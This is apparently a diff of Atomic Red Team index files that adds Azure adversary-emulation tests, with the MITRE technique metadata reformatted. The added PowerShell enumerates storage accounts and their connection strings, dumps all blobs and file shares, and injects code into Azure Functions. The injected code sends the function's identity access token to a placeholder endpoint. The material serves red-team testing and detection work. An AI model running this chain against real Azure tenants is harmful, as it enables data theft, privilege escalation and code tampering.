||||
file from file share for injection\n $tmpFunctionCode = Join-Path
|
||||
$env:temp/ (\"T1550.001_tmp_to_inject_\" + $tmpOriginalFileName)\n az
|
||||
storage file download --account-name \"#{storage_account_name}\" --share-name
|
||||
\"#{file_share_name}\" -p \"#{file_path}\" --only-show-errors --dest $tmpFunctionCode\n
|
||||
\ \n if ($LASTEXITCODE -ne 0) {\n Write-Output
|
||||
\"Function code download failed.\"\n exit 1\n }\n
|
||||
\ Write-Output \"File downloaded: $($tmpFunctionCode)\"\n \n
|
||||
\ $insertContent = Get-Content -Path \"#{code_to_insert_path}\"
|
||||
-Raw # Load the content of the insert file\n \n $content
|
||||
= Get-Content -Path $tmpFunctionCode -Raw # Inject code to file\n $content
|
||||
= $insertContent + \"`n\" + $content # Insert the new code at the beginning\n
|
||||
\ $content | Set-Content -Path $tmpFunctionCode # Write
|
||||
the modified content to the file\n \n # Upload file
|
||||
to file share\n az storage file upload --account-name \"#{storage_account_name}\"
|
||||
--share-name \"#{file_share_name}\" -p \"#{file_path}\" --source $tmpFunctionCode
|
||||
--only-show-errors\n if ($LASTEXITCODE -ne 0) {\n Write-Output
|
||||
\"Function code upload failed.\"\n exit 1\n }\n
|
||||
\ Write-Output \"Uploaded the tampered file\"\n } elseif
|
||||
(\"#{execution_option}\" -eq \"replace_file\") {\n az storage
|
||||
file upload --account-name \"#{storage_account_name}\" --share-name \"#{file_share_name}\"
|
||||
-p \"#{file_path}\" --source \"#{code_to_insert_path}\" --only-show-errors\n
|
||||
\ if ($LASTEXITCODE -ne 0) {\n Write-Output \"Function
|
||||
code upload failed.\"\n exit 1\n }\n Write-Output
|
||||
\"Uploaded the tampered file\"\n } else {\n Write-Output
|
||||
\"Please choose a valid execution_option\"\n exit 1\n }\n
|
||||
\ } else {\n Write-Output \"Download original function code failed.\"\n
|
||||
\ exit 1\n }\n}"
|
||||
cleanup_command: |-
|
||||
az login # Log in to Azure CLI
|
||||
|
||||
# Upload previous funciton code
|
||||
$tmpOriginalFileName = [System.IO.Path]::GetFileName("#{file_path}")
|
||||
$tmpOriginalFunctionCode = Join-Path $env:temp/ ("T1550.001_tmp_original_" + $tmpOriginalFileName)
|
||||
az storage file upload --account-name "#{storage_account_name}" --share-name "#{file_share_name}" -p "#{file_path}" --source $tmpOriginalFunctionCode --only-show-errors 2>$null
|
||||
|
||||
if ($LASTEXITCODE -eq 0) {
|
||||
Write-Output "Uploaded original version of function code."
|
||||
|
||||
# Delete tmp original f file if upload succeeded
|
||||
if ("#{execution_option}" -eq "insert_code") {
|
||||
$tmpFunctionCode = Join-Path $env:temp/ ("T1550.001_tmp_to_inject_" + $tmpOriginalFileName)
|
||||
Remove-Item -Path $tmpFunctionCode -Force -erroraction silentlycontinue
|
||||
Write-Output "Deleted tmp file: $($tmpFunctionCode)"
|
||||
}
|
||||
|
||||
# Delete tmp original file
|
||||
Remove-Item -Path $tmpOriginalFunctionCode -Force -erroraction silentlycontinue
|
||||
Write-Output "Deleted tmp original file: $($tmpOriginalFunctionCode)"
|
||||
} else {
|
||||
Write-Output "Upload original function code failed."
|
||||
}
|
||||
name: powershell
|
||||
elevation_required: false
|
||||
T1078.004:
|
||||
technique:
|
||||
modified: '2024-10-14T22:11:30.271Z'
|
||||
@@ -83958,6 +84174,81 @@ collection:
|
||||
cleanup_command: "aws s3 rb s3://#{s3_bucket_name} --force \nrm -rf /tmp/#{s3_bucket_name}\n"
|
||||
name: sh
|
||||
elevation_required: false
|
||||
- name: Azure - Dump Azure Storage Account Objects via Azure CLI
|
||||
auto_generated_guid: 67374845-b4c8-4204-adcc-9b217b65d4f1
|
||||
description: |-
|
||||
This test dumps the content of the storage account objects present in the file defined in file_shares_csv_file_path. Note that this file is created in the atomic test T1619 "Azure - Enumerate Storage Account Objects via Key-based authentication using Azure CLI". When created manually, it must contain the columns "ResourceGroup","StorageAccountName", "FileShareName", "ContainerName", "BlobName".
|
||||
|
||||
Requirements:
|
||||
- The test is intended to be executed in interactive mode (with -Interactive parameter) in order to complete the az login command when MFA is required.
|
||||
- The EntraID user must have the role "Storage Account Contributor", or a role with similar permissions.
|
||||
supported_platforms:
|
||||
- iaas:azure
|
||||
input_arguments:
|
||||
output_folder:
|
||||
type: path
|
||||
default: "$env:temp\\T1530_storage_account_objects"
|
||||
description: Folder path to output file share content to
|
||||
storage_account_objects_csv_file_path:
|
||||
type: path
|
||||
default: "$env:temp\\T1619_storage_account_objects.csv"
|
||||
description: Path to file that contains all storage account objects in form
|
||||
of a csv file. This may be the result from Test T1619 "Azure - Enumerate
|
||||
Storage Account Objects via Key-based authentication using Azure CLI".
|
||||
dependency_executor_name: powershell
|
||||
dependencies:
|
||||
- description: Azure CLI must be installed
|
||||
prereq_command: try {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue)
|
||||
{exit 0} else {exit 1}} catch {exit 1}
|
||||
get_prereq_command: Install-Module -Name Az -Force
|
||||
executor:
|
||||
command: "$storage_account_objects = Import-Csv -Path \"#{storage_account_objects_csv_file_path}\"\n\n#
|
||||
Login to Azure\naz login\n\nif (-not (Test-Path -Path \"#{output_folder}\"))
|
||||
{\n New-Item -ItemType Directory -Path \"#{output_folder}\"\n}\n\nforeach
|
||||
($row in $storage_account_objects) {\n \n if ($row.FileShareName -ne
|
||||
\"\"){\n $allowSharedKeyAccess = az storage account show --name $row.StorageAccountName
|
||||
--resource-group $row.ResourceGroup --query \"allowSharedKeyAccess\"\n\n
|
||||
\ if ($allowSharedKeyAccess -eq \"false\") { # $allowSharedKeyAccess
|
||||
could be true or null\n Write-Output \"Shared key access is disabled
|
||||
for this storage account.\"\n } else {\n Write-Output
|
||||
\"Fetching content from file share: $($row.FileShareName) in storage account
|
||||
$($row.StorageAccountName) ...\"\n $connectionString = az storage
|
||||
account show-connection-string --name $row.StorageAccountName --resource-group
|
||||
$row.ResourceGroup --query connectionString --output tsv\n \n
|
||||
\ # Create folder for storage account objects\n $storageAccountOutputPath
|
||||
= Join-Path #{output_folder} \"$($row.ResourceGroup)_$($row.StorageAccountName)\"\n
|
||||
\ if (-not (Test-Path -Path $storageAccountOutputPath)) {\n New-Item
|
||||
-ItemType Directory -Path $storageAccountOutputPath\n }\n\n #
|
||||
create folder for file share content\n $fileSharePath = Join-Path
|
||||
-Path $storageAccountOutputPath $row.FileShareName\n if (-not
|
||||
(Test-Path -Path $fileSharePath)) {\n New-Item -ItemType
|
||||
Directory -Path $fileSharePath\n }\n az storage file
|
||||
download-batch --connection-string $connectionString --source $row.FileShareName
|
||||
--destination $fileSharePath\n }\n } elseif ($row.ContainerName
|
||||
-ne \"\" -and $row.BlobName -eq \"\") {\n $allowSharedKeyAccess =
|
||||
az storage account show --name $row.StorageAccountName --resource-group
|
||||
$row.ResourceGroup --query \"allowSharedKeyAccess\"\n\n if ($allowSharedKeyAccess
|
||||
-eq \"false\") { # $allowSharedKeyAccess could be true or null\n Write-Output
|
||||
\"Shared key access is disabled for this storage account.\"\n } else
|
||||
{\n Write-Output \"Fetching all blobs from container $($row.ContainerName)
|
||||
in storage account $($row.StorageAccountName) ...\"\n $connectionString
|
||||
= az storage account show-connection-string --name $row.StorageAccountName
|
||||
--resource-group $row.ResourceGroup --query connectionString --output tsv\n
|
||||
\ \n # Create folder for storage account objects\n
|
||||
\ $storageAccountOutputPath = Join-Path #{output_folder} \"$($row.ResourceGroup)_$($row.StorageAccountName)\"\n
|
||||
\ if (-not (Test-Path -Path $storageAccountOutputPath)) {\n New-Item
|
||||
-ItemType Directory -Path $storageAccountOutputPath\n }\n\n #
|
||||
create folder for blob content\n $containerFolderPath = Join-Path
|
||||
$storageAccountOutputPath $row.ContainerName\n if (-not (Test-Path
|
||||
-Path $containerFolderPath)) {\n New-Item -ItemType Directory
|
||||
-Path $containerFolderPath\n }\n az storage blob download-batch
|
||||
--destination $containerFolderPath --source $row.ContainerName --connection-string
|
||||
$connectionString\n }\n }\n}"
|
||||
cleanup_command: |-
|
||||
Remove-Item -Path "#{output_folder}" -Recurse -Force -erroraction silentlycontinue
|
||||
Write-Output "Removed #{output_folder}"
|
||||
name: powershell
|
||||
elevation_required: false
|
||||
T1074.002:
|
||||
technique:
|
||||
modified: '2024-09-30T13:28:37.414Z'
|
||||
@@ -88729,7 +89020,7 @@ lateral-movement:
|
||||
T1550.001:
|
||||
technique:
|
||||
modified: '2024-10-15T15:38:11.583Z'
|
||||
name: Application Access Token
|
||||
name: 'Use Alternate Authentication Material: Application Access Token'
|
||||
description: "Adversaries may use stolen application access tokens to bypass
|
||||
the typical authentication process and access restricted accounts, information,
|
||||
or services on remote systems. These tokens are typically stolen from users
|
||||
@@ -88860,7 +89151,223 @@ lateral-movement:
|
||||
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
|
||||
x_mitre_attack_spec_version: 3.2.0
|
||||
x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
|
||||
atomic_tests: []
|
||||
identifier: T1550.001
|
||||
atomic_tests:
|
||||
- name: Azure - Functions code upload - Functions code injection via Blob upload
|
||||
auto_generated_guid: 9a5352e4-56e5-45c2-9b3f-41a46d3b3a43
|
||||
description: "This test injects code into an Azure Function (RCE).\n\nAttack
|
||||
idea/reference: https://orca.security/resources/blog/azure-shared-key-authorization-exploitation/\n\nSimilar
|
||||
to T1550.001 \"Azure - Functions code upload - Functions code injection to
|
||||
retrieve the Functions identity access token\", the depicted code injection
|
||||
scenario tampers the source code of Azure Functions to perform Subscription
|
||||
Privilege Escalation by retrieving the identity access token of an Azure functions
|
||||
instance. In this case, the prepared zip file (underlying package for a Function)
|
||||
is expected to contain the tampered function presented in src/code_to_insert.py.
|
||||
Note that the endpoint https://changeme.net needs to be adapted in your packed
|
||||
function code.\n\nNote:\n- The Azure Function modified in this test must be
|
||||
hosted via Azure Blob storage (Info on storage considerations for Azure Function:
|
||||
https://learn.microsoft.com/en-us/azure/azure-functions/storage-considerations).
|
||||
\n- For Function code upload to Azure Functions that are hosted via Azure
|
||||
Files in a File Share, refer to T1550.001 \"Azure - Functions code upload
|
||||
- Functions code injection to retrieve the Functions identity access token\".\n-
|
||||
The required input fields can be retrieved in a reconnaissance step in test
|
||||
T1619 \"Azure - Enumerate Storage Account Objects via Key-based authentication
|
||||
using Azure CLI\". The code of function apps may be inspected and prepared
|
||||
from the result of test T1530 \"Azure - Dump Azure Storage Account Objects
|
||||
via Azure CLI\".\n\nRequirements:\n- The test is intended to be executed in
|
||||
interactive mode (with -Interactive parameter) in order to complete the az
|
||||
login command when MFA is required.\n- The EntraID user must have the role
|
||||
\"Storage Account Contributor\", or a role with similar permissions."
|
||||
supported_platforms:
|
||||
- iaas:azure
|
||||
input_arguments:
|
||||
storage_account_name:
|
||||
type: string
|
||||
default: storage_account_name_example
|
||||
description: Name of storage account that is related to the Function
|
||||
container_name:
|
||||
type: string
|
||||
default: container_name_example
|
||||
description: Name of the container that contains the function blob
|
||||
blob_name:
|
||||
type: string
|
||||
default: blob_example
|
||||
description: Name of the function blob
|
||||
file_path_blob:
|
||||
type: path
|
||||
default: "$env:temp/T1550.001_function_code.zip"
|
||||
description: Path to the function code file to upload as blob
|
||||
dependency_executor_name: powershell
|
||||
dependencies:
|
||||
- description: Azure CLI must be installed
|
||||
prereq_command: try {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue)
|
||||
{exit 0} else {exit 1}} catch {exit 1}
|
||||
get_prereq_command: Install-Module -Name Az -Force
|
||||
executor:
|
||||
command: "az login # Log in to Azure CLI\n\n$allowSharedKeyAccess = az
|
||||
storage account show --name \"#{storage_account_name}\" --query \"allowSharedKeyAccess\"\n\nif
|
||||
($allowSharedKeyAccess -eq \"false\") { # $allowSharedKeyAccess could
|
||||
be true or null\n Write-Output \"Shared key access is disabled for this
|
||||
storage account.\"\n} else { \n $connectionString = az storage account
|
||||
show-connection-string --name \"#{storage_account_name}\" --query connectionString
|
||||
--output tsv\n\n # Download blob for cleanup\n $tmpOriginalFunctionCode
|
||||
= Join-Path $env:temp/ (\"T1550.001_tmp_original_\" + \"#{blob_name}\")\n
|
||||
\ az storage blob download --connection-string $connectionString --container-name
|
||||
\"#{container_name}\" --name \"#{blob_name}\" --file $tmpOriginalFunctionCode
|
||||
--overwrite true\n\n if ($LASTEXITCODE -eq 0) {\n # Upload new
|
||||
blob version if download of existing blob succeeded\n az storage
|
||||
blob upload --connection-string $connectionString --container-name \"#{container_name}\"
|
||||
--name \"#{blob_name}\" --file \"#{file_path_blob}\" --overwrite true\n
|
||||
\ } else {\n Write-Output \"Download original function code failed.\"\n
|
||||
\ exit 1\n }\n}\n"
|
||||
cleanup_command: |-
|
||||
az login # Log in to Azure CLI
|
||||
|
||||
# Upload previous funciton code
|
||||
$tmpOriginalFunctionCode = Join-Path $env:temp/ ("T1550.001_tmp_original_" + "#{blob_name}")
|
||||
az storage blob upload --account-name "#{storage_account_name}" --container-name "#{container_name}" --file $tmpOriginalFunctionCode --name "#{blob_name}" --overwrite true 2>$null
|
||||
|
||||
if ($LASTEXITCODE -eq 0) {
|
||||
Write-Output "Uploaded original version of function code."
|
||||
|
||||
# Delete tmp original blob file if upload succeeded
|
||||
Remove-Item -Path $tmpOriginalFunctionCode -Force -erroraction silentlycontinue
|
||||
Write-Output "Deleted tmp original blob file: $($tmpOriginalFunctionCode)"
|
||||
} else {
|
||||
Write-Output "Upload original function code failed."
|
||||
}
|
||||
name: powershell
|
||||
elevation_required: false
|
||||
- name: Azure - Functions code upload - Functions code injection via File Share
|
||||
modification to retrieve the Functions identity access token
|
||||
auto_generated_guid: 67aaf4cb-54ce-42e2-ab56-e0a9bcc089b1
|
||||
description: "This test injects code into an Azure Function (RCE) to perform
|
||||
Subscription Privilege Escalation by retrieving the identity access token
|
||||
of an Azure functions instance.\n\nAttack idea/reference: https://orca.security/resources/blog/azure-shared-key-authorization-exploitation/\n\nOnce
|
||||
executed, the \"https://changeme\" will retrieve the access token when the
|
||||
function app is executed on behalf of the tenant. The function may be triggered
|
||||
manually from authorized people, triggered in regular intervals, or in various
|
||||
other ways. The access token can then be used to perform further attack steps
|
||||
with the permissions that the function app holds (e.g. listening virtual machines).\n\nNote:
|
||||
\n- The Azure Function modified in this test must be hosted via Azure Files
|
||||
in a File Share (Info on storage considerations for Azure Function: https://learn.microsoft.com/en-us/azure/azure-functions/storage-considerations).\n-
|
||||
For Function code upload to Azure Functions that are hosted via Azure Blob
|
||||
storage, refer to T1550.001 \"Azure - Functions code upload - Functions code
|
||||
injection via Blob upload\".\n- The required input fields can be retrieved
|
||||
in a reconnaissance step in test T1619 \"Azure - Enumerate Storage Account
|
||||
Objects via Key-based authentication using Azure CLI\". The code of function
|
||||
apps may be inspected and prepared from the result of test T1530 \"Azure -
|
||||
Dump Azure Storage Account Objects via Azure CLI\".\n- Important: Change the
|
||||
https://changeme.net in code_to_insert_path to a self-controlled endpoint.
|
||||
This endpoint can be hosted e.g. as request bin via Pipedream to display the
|
||||
body of incoming POST requests.\n- The default injected code to retrieve the
|
||||
access token can be replaced by arbitrary other code. In this case: Replace
|
||||
the code defined in code_to_insert_path\n\nRequirements:\n- The test is intended
|
||||
to be executed in interactive mode (with -Interactive parameter) in order
|
||||
to complete the az login command when MFA is required.\n- The EntraID user
|
||||
must have the role \"Storage Account Contributor\", or a role with similar
|
||||
permissions.\n\nExecution options: Defined by the input field execution_option\n-
|
||||
insert_code: This option (1) downloads the existing funciton code into a tmp
|
||||
file, (2) injects the code from code_to_insert_path at the beginning of the
|
||||
file, and (3) uploads the tampered file to the targeted Azure Function code
|
||||
(Azure File Share File).\n- replace_file: This option uploads the function
|
||||
code defined in code_to_insert_path to the targeted Azure Function code (Azure
|
||||
File Share File)."
|
||||
supported_platforms:
|
||||
- iaas:azure
|
||||
input_arguments:
|
||||
storage_account_name:
|
||||
type: string
|
||||
default: storage_account_name_example
|
||||
description: Name of storage account that is related to the Function
|
||||
execution_option:
|
||||
type: string
|
||||
default: insert_code
|
||||
description: Chooses execution option insert_code, or replace_file
|
||||
file_share_name:
|
||||
type: string
|
||||
default: file_share_name_example
|
||||
description: Name of the file share that is related to the Function
|
||||
file_path:
|
||||
type: path
|
||||
default: site/wwwroot/function_app.py
|
||||
description: Path to the Function file in the file share
|
||||
code_to_insert_path:
|
||||
type: path
|
||||
default: "$PathToAtomicsFolder/T1550.001/src/code_to_insert.py"
|
||||
description: The code that will be injected into the Function
|
||||
dependency_executor_name: powershell
|
||||
dependencies:
|
||||
- description: Azure CLI must be installed
|
||||
prereq_command: try {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue)
|
||||
{exit 0} else {exit 1}} catch {exit 1}
|
||||
get_prereq_command: Install-Module -Name Az -Force
|
||||
executor:
|
||||
command: "az login # Log in to Azure CLI\n\n$allowSharedKeyAccess = az
|
||||
storage account show --name \"#{storage_account_name}\" --query \"allowSharedKeyAccess\"\n\nif
|
||||
($allowSharedKeyAccess -eq \"false\") { # $allowSharedKeyAccess could
|
||||
be true or null\n Write-Output \"Shared key access is disabled for this
|
||||
storage account.\"\n} else {\n # Download file for cleanup\n $tmpOriginalFileName
|
||||
= [System.IO.Path]::GetFileName(\"#{file_path}\")\n $tmpOriginalFunctionCode
|
||||
= Join-Path $env:temp/ (\"T1550.001_tmp_original_\" + $tmpOriginalFileName)\n
|
||||
\ az storage file download --account-name \"#{storage_account_name}\"
|
||||
--share-name \"#{file_share_name}\" -p \"#{file_path}\" --only-show-errors
|
||||
--dest $tmpOriginalFunctionCode\n\n if ($LASTEXITCODE -eq 0) {\n #
|
||||
Upload new funciton code if download of existing code succeeded\n if
|
||||
(\"#{execution_option}\" -eq \"insert_code\") {\n # Download
|
||||
file from file share for injection\n $tmpFunctionCode = Join-Path
|
||||
$env:temp/ (\"T1550.001_tmp_to_inject_\" + $tmpOriginalFileName)\n az
|
||||
storage file download --account-name \"#{storage_account_name}\" --share-name
|
||||
\"#{file_share_name}\" -p \"#{file_path}\" --only-show-errors --dest $tmpFunctionCode\n
|
||||
\ \n if ($LASTEXITCODE -ne 0) {\n Write-Output
|
||||
\"Function code download failed.\"\n exit 1\n }\n
|
||||
\ Write-Output \"File downloaded: $($tmpFunctionCode)\"\n \n
|
||||
\ $insertContent = Get-Content -Path \"#{code_to_insert_path}\"
|
||||
-Raw # Load the content of the insert file\n \n $content
|
||||
= Get-Content -Path $tmpFunctionCode -Raw # Inject code to file\n $content
|
||||
= $insertContent + \"`n\" + $content # Insert the new code at the beginning\n
|
||||
\ $content | Set-Content -Path $tmpFunctionCode # Write
|
||||
the modified content to the file\n \n # Upload file
|
||||
to file share\n az storage file upload --account-name \"#{storage_account_name}\"
|
||||
--share-name \"#{file_share_name}\" -p \"#{file_path}\" --source $tmpFunctionCode
|
||||
--only-show-errors\n if ($LASTEXITCODE -ne 0) {\n Write-Output
|
||||
\"Function code upload failed.\"\n exit 1\n }\n
|
||||
\ Write-Output \"Uploaded the tampered file\"\n } elseif
|
||||
(\"#{execution_option}\" -eq \"replace_file\") {\n az storage
|
||||
file upload --account-name \"#{storage_account_name}\" --share-name \"#{file_share_name}\"
|
||||
-p \"#{file_path}\" --source \"#{code_to_insert_path}\" --only-show-errors\n
|
||||
\ if ($LASTEXITCODE -ne 0) {\n Write-Output \"Function
|
||||
code upload failed.\"\n exit 1\n }\n Write-Output
|
||||
\"Uploaded the tampered file\"\n } else {\n Write-Output
|
||||
\"Please choose a valid execution_option\"\n exit 1\n }\n
|
||||
\ } else {\n Write-Output \"Download original function code failed.\"\n
|
||||
\ exit 1\n }\n}"
|
||||
cleanup_command: |-
|
||||
az login # Log in to Azure CLI
|
||||
|
||||
# Upload previous funciton code
|
||||
$tmpOriginalFileName = [System.IO.Path]::GetFileName("#{file_path}")
|
||||
$tmpOriginalFunctionCode = Join-Path $env:temp/ ("T1550.001_tmp_original_" + $tmpOriginalFileName)
|
||||
az storage file upload --account-name "#{storage_account_name}" --share-name "#{file_share_name}" -p "#{file_path}" --source $tmpOriginalFunctionCode --only-show-errors 2>$null
|
||||
|
||||
if ($LASTEXITCODE -eq 0) {
|
||||
Write-Output "Uploaded original version of function code."
|
||||
|
||||
# Delete tmp original f file if upload succeeded
|
||||
if ("#{execution_option}" -eq "insert_code") {
|
||||
$tmpFunctionCode = Join-Path $env:temp/ ("T1550.001_tmp_to_inject_" + $tmpOriginalFileName)
|
||||
Remove-Item -Path $tmpFunctionCode -Force -erroraction silentlycontinue
|
||||
Write-Output "Deleted tmp file: $($tmpFunctionCode)"
|
||||
}
|
||||
|
||||
# Delete tmp original file
|
||||
Remove-Item -Path $tmpOriginalFunctionCode -Force -erroraction silentlycontinue
|
||||
Write-Output "Deleted tmp original file: $($tmpOriginalFunctionCode)"
|
||||
} else {
|
||||
Write-Output "Upload original function code failed."
|
||||
}
|
||||
name: powershell
|
||||
elevation_required: false
|
||||
credential-access:
|
||||
T1557:
|
||||
technique:
|
||||
@@ -106735,6 +107242,100 @@ discovery:
|
||||
'
|
||||
name: sh
|
||||
elevation_required: false
|
||||
- name: Azure - Enumerate Storage Account Objects via Shared Key authorization
|
||||
using Azure CLI
|
||||
auto_generated_guid: 070322a4-2c60-4c50-8ffb-c450a34fe7bf
|
||||
description: |-
|
||||
This test enumerates all existing storage accounts and tries to fetch for each account the contained storage account objects. The access to storage objects is only possible if Shared Key authorization is enabled (e.g this is the case per default for storage objects creaded by Azure Function Apps).
|
||||
|
||||
Requirements:
|
||||
- The test is intended to be executed in interactive mode (with -Interactive parameter) in order to complete the az login command when MFA is required.
|
||||
- The EntraID user must have the role "Storage Account Contributor", or a role with similar permissions.
|
||||
|
||||
Output format: Csv file that contains the found storage account objects
|
||||
- Columns: ResourceGroup, StorageAccountName, FileShareName, ContainerName, BlobName, TableName, QueueName
|
||||
- The content of these columns is filled out depending on the object. Not-required columns are left empt. Example: For a blob object the ResourceGroup, StorageAccountName, ContainerName, BlobName are filled out, the other fields are left empty.
|
||||
supported_platforms:
|
||||
- iaas:azure
|
||||
input_arguments:
|
||||
output_file:
|
||||
type: path
|
||||
default: "$env:temp\\T1619_storage_account_objects.csv"
|
||||
description: Csv file path for results
|
||||
dependency_executor_name: powershell
|
||||
dependencies:
|
||||
- description: Azure CLI must be installed
|
||||
prereq_command: try {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue)
|
||||
{exit 0} else {exit 1}} catch {exit 1}
|
||||
get_prereq_command: " Install-Module -Name Az -Force"
|
||||
executor:
|
||||
command: "az login # Login to Azure\n\n# Get all storage accounts in the
|
||||
subscription\n$storageAccounts = az storage account list --query \"[].{name:name,
|
||||
resourceGroup:resourceGroup}\" --output json | ConvertFrom-Json\n\n$storageAccountObjects
|
||||
= @()\n$downloadedFunctionFiles = @()\n\nforeach ($account in $storageAccounts)
|
||||
{\n Write-Output \"`nFound storage account $($account.name)\"\n\n $storageAccountObjects
|
||||
+= [PSCustomObject]@{\n ResourceGroup = $account.resourceGroup\n
|
||||
\ StorageAccountName = $account.name\n FileShareName =
|
||||
\"\"\n ContainerName = \"\"\n BlobName = \"\"\n
|
||||
\ TableName = \"\"\n QueueName = \"\"\n }\n\n
|
||||
\ $allowSharedKeyAccess = az storage account show --name $account.name
|
||||
--resource-group $account.resourceGroup --query \"allowSharedKeyAccess\"\n
|
||||
\ \n if ($allowSharedKeyAccess -eq \"false\") { # $allowSharedKeyAccess
|
||||
could be true or null\n Write-Output \"Shared key access is disabled
|
||||
for this storage account.\"\n } else {\n $connectionString = az
|
||||
storage account show-connection-string --name $account.name --resource-group
|
||||
$account.resourceGroup --query connectionString --output tsv\n \n
|
||||
\ $fileShares = az storage share list --connection-string $connectionString
|
||||
--query \"[].name\" --output json | ConvertFrom-Json\n foreach($fileShare
|
||||
in $fileShares) {\n Write-Output \"Found file share: $($fileShare)\"\n
|
||||
\ $storageAccountObjects += [PSCustomObject]@{\n ResourceGroup
|
||||
\ = $account.resourceGroup\n StorageAccountName = $account.name\n
|
||||
\ FileShareName = $fileShare\n ContainerName
|
||||
\ = \"\"\n BlobName = \"\"\n TableName
|
||||
\ = \"\"\n QueueName = \"\"\n }\n
|
||||
\ }\n\n $containers = az storage container list --connection-string
|
||||
$connectionString --query \"[].name\" --output json | ConvertFrom-Json\n
|
||||
\ foreach($container in $containers) {\n Write-Output \"Found
|
||||
container: $($container)\"\n $storageAccountObjects += [PSCustomObject]@{\n
|
||||
\ ResourceGroup = $account.resourceGroup\n StorageAccountName
|
||||
= $account.name\n FileShareName = \"\"\n ContainerName
|
||||
\ = $container\n BlobName = \"\"\n TableName
|
||||
\ = \"\"\n QueueName = \"\"\n }\n\n
|
||||
\ $blobs = az storage blob list --connection-string $connectionString
|
||||
--container-name $container --query \"[].name\" --output json | ConvertFrom-Json\n\n
|
||||
\ foreach($blob in $blobs) {\n Write-Output \"Found
|
||||
blob: $($blob)\"\n $storageAccountObjects += [PSCustomObject]@{\n
|
||||
\ ResourceGroup = $account.resourceGroup\n StorageAccountName
|
||||
= $account.name\n FileShareName = \"\"\n ContainerName
|
||||
\ = $container\n BlobName = $blob\n TableName
|
||||
\ = \"\"\n QueueName = \"\"\n }\n
|
||||
\ }\n }\n \n $tables = az storage table list
|
||||
--connection-string $connectionString --query \"[].name\" --output json
|
||||
| ConvertFrom-Json\n foreach($table in $tables) {\n Write-Output
|
||||
\"Found table: $($table)\"\n $storageAccountObjects += [PSCustomObject]@{\n
|
||||
\ ResourceGroup = $account.resourceGroup\n StorageAccountName
|
||||
= $account.name\n FileShareName = \"\"\n ContainerName
|
||||
\ = \"\"\n BlobName = \"\"\n TableName
|
||||
\ = $table\n QueueName = \"\"\n }\n
|
||||
\ }\n \n $queues = az storage queue list --connection-string
|
||||
$connectionString --query \"[].name\" --output json | ConvertFrom-Json\n
|
||||
\ foreach($queue in $queues) {\n Write-Output \"Found table:
|
||||
$($table)\"\n $storageAccountObjects += [PSCustomObject]@{\n
|
||||
\ ResourceGroup = $account.resourceGroup\n StorageAccountName
|
||||
= $account.name\n FileShareName = \"\"\n ContainerName
|
||||
\ = \"\"\n BlobName = \"\"\n TableName
|
||||
\ = \"\"\n QueueName = $queue\n }\n
|
||||
\ }\n }\n}\n\n# Store file lists to csv file\n$storageAccountObjects
|
||||
| Export-Csv -Path \"#{output_file}\" -NoTypeInformation\nWrite-Output \"`nDownloaded
|
||||
storage account objects to #{output_file}\"\n\n# Print lists that have been
|
||||
stored as csv file\n$storageAccountObjects | Format-Table -Property ResourceGroup,
|
||||
StorageAccountName, FileShareName, ContainerName, BlobName, TableName, QueueName
|
||||
-AutoSize -Wrap\n"
|
||||
cleanup_command: |-
|
||||
Remove-Item -Path "#{output_file}" -Force -erroraction silentlycontinue
|
||||
Write-Output "Removed #{output_file}"
|
||||
name: powershell
|
||||
elevation_required: false
|
||||
T1654:
|
||||
technique:
|
||||
modified: '2024-10-15T12:24:40.892Z'
|
||||
|
||||
@@ -17763,7 +17763,7 @@ defense-evasion:
|
||||
T1550.001:
|
||||
technique:
|
||||
modified: '2024-10-15T15:38:11.583Z'
|
||||
name: Application Access Token
|
||||
name: 'Use Alternate Authentication Material: Application Access Token'
|
||||
description: "Adversaries may use stolen application access tokens to bypass
|
||||
the typical authentication process and access restricted accounts, information,
|
||||
or services on remote systems. These tokens are typically stolen from users
|
||||
@@ -17894,6 +17894,7 @@ defense-evasion:
|
||||
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
|
||||
x_mitre_attack_spec_version: 3.2.0
|
||||
x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
|
||||
identifier: T1550.001
|
||||
atomic_tests: []
|
||||
T1078.004:
|
||||
technique:
|
||||
@@ -52311,7 +52312,7 @@ lateral-movement:
|
||||
T1550.001:
|
||||
technique:
|
||||
modified: '2024-10-15T15:38:11.583Z'
|
||||
name: Application Access Token
|
||||
name: 'Use Alternate Authentication Material: Application Access Token'
|
||||
description: "Adversaries may use stolen application access tokens to bypass
|
||||
the typical authentication process and access restricted accounts, information,
|
||||
or services on remote systems. These tokens are typically stolen from users
|
||||
@@ -52442,6 +52443,7 @@ lateral-movement:
|
||||
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
|
||||
x_mitre_attack_spec_version: 3.2.0
|
||||
x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
|
||||
identifier: T1550.001
|
||||
atomic_tests: []
|
||||
credential-access:
|
||||
T1557:
|
||||
|
||||
@@ -16257,7 +16257,7 @@ defense-evasion:
|
||||
T1550.001:
|
||||
technique:
|
||||
modified: '2024-10-15T15:38:11.583Z'
|
||||
name: Application Access Token
|
||||
name: 'Use Alternate Authentication Material: Application Access Token'
|
||||
description: "Adversaries may use stolen application access tokens to bypass
|
||||
the typical authentication process and access restricted accounts, information,
|
||||
or services on remote systems. These tokens are typically stolen from users
|
||||
@@ -16388,6 +16388,7 @@ defense-evasion:
|
||||
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
|
||||
x_mitre_attack_spec_version: 3.2.0
|
||||
x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
|
||||
identifier: T1550.001
|
||||
atomic_tests: []
|
||||
T1078.004:
|
||||
technique:
|
||||
@@ -48883,7 +48884,7 @@ lateral-movement:
|
||||
T1550.001:
|
||||
technique:
|
||||
modified: '2024-10-15T15:38:11.583Z'
|
||||
name: Application Access Token
|
||||
name: 'Use Alternate Authentication Material: Application Access Token'
|
||||
description: "Adversaries may use stolen application access tokens to bypass
|
||||
the typical authentication process and access restricted accounts, information,
|
||||
or services on remote systems. These tokens are typically stolen from users
|
||||
@@ -49014,6 +49015,7 @@ lateral-movement:
|
||||
